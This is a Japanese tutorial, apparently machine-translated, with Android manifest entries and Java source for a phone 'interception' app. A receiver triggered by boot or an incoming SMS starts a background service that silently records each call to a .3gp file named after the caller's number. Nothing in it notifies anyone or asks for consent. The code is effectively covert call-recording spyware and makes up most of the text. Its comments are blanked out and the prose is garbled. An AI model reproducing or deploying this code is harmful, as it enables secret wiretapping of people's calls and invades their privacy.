Androidプログラミングのサービスを利用して、電話の傍受方法を実現します。


本論文の例は、Androidプログラミングのサービスを利用した電話傍受の実現方法を説明する。皆さんに参考にしてあげます。具体的には以下の通りです。
1.シミュレータを起動し、アプリケーションを展開する
2.シミュレータコントローラでショートメッセージ起動サービスを送信する(ログ出力を確認して、成功したかどうか判断する)
3.シミュレータに電話をかけ、電話を切った後、ファイル管理を利用して対応するcacheディレクトリまたはsdcardから3 g pファイルを作成し、それをpcにコピーして再生して検証する。
リスト設定(一つのreceiver、一つのservice、いくつかの権限)

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
…
<application …>
<receiver android:name="BootBroadcastReceiver">
  <intent-filter>
    <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
  </intent-filter>
</receiver>
<service android:name="PhoneListenerService" />
電話モニターサービス類:Phone ListenerService

package cn.class3g.phonelistener;
...
public class PhoneListenerService extends Service {
public IBinder onBind(Intent arg0) {
 return null;
 }
 public void onCreate() {
 super.onCreate();
 Log.i("TAG", "     ");
 //             
TelephonyManager telManager = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
 //                 
telManager.listen(new MyPhoneStateListener(),
 PhoneStateListener.LISTEN_CALL_STATE);
 } 
 private class MyPhoneStateListener extends PhoneStateListener {
 MediaRecorder recorder; 
 File audioFile; 
 String phoneNumber; 
 public void onCallStateChanged(int state, String incomingNumber) {
 switch (state) { 
 case TelephonyManager.CALL_STATE_IDLE: /*        */
if (recorder != null) { 
 recorder.stop();//      
recorder.reset();//    
recorder.release();//             
} 
break; 
 case TelephonyManager.CALL_STATE_OFFHOOK: /*       */
try { 
 recorder = new MediaRecorder(); 
 recorder.setAudioSource(MediaRecorder.AudioSource.MIC); //        
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//       
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); //       
// recorder.setOutputFile("/sdcard/myvoice.amr"); 
 audioFile = new File( 
 Environment.getExternalStorageDirectory(), 
 phoneNumber + "_" + System.currentTimeMillis() 
 + ".3gp"); 
 recorder.setOutputFile(audioFile.getAbsolutePath());
 Log.i("TAG", audioFile.getAbsolutePath()); 
 recorder.prepare(); //      
recorder.start(); 
 } catch (IllegalStateException e) { 
 e.printStackTrace(); 
 } catch (IOException e) { 
 e.printStackTrace(); 
 } 
 break; 
 case TelephonyManager.CALL_STATE_RINGING: /*       */
phoneNumber = incomingNumber; 
 break; 
 default: 
 break; 
 } 
 super.onCallStateChanged(state, incomingNumber); 
 } 
 } 
}

起動を利用して放送開始サービスを開始する(実験環境では便宜上ショートメッセージ放送に切り替えることができる)
起動してブロードキャストを完了します。

package cn.class3g.phonelistener; 
... 
public class BootBroadcastReceiver extends BroadcastReceiver { 
 public void onReceive(Context context, Intent intent) { 
 Log.i("TAG", "      "); 
Intent serviceIntent = new Intent(context, PhoneListenerService.class); 
 context.startService(serviceIntent); 
 } 
} 

ここで述べたように、皆さんのAndroidプログラムの設計に役に立ちます。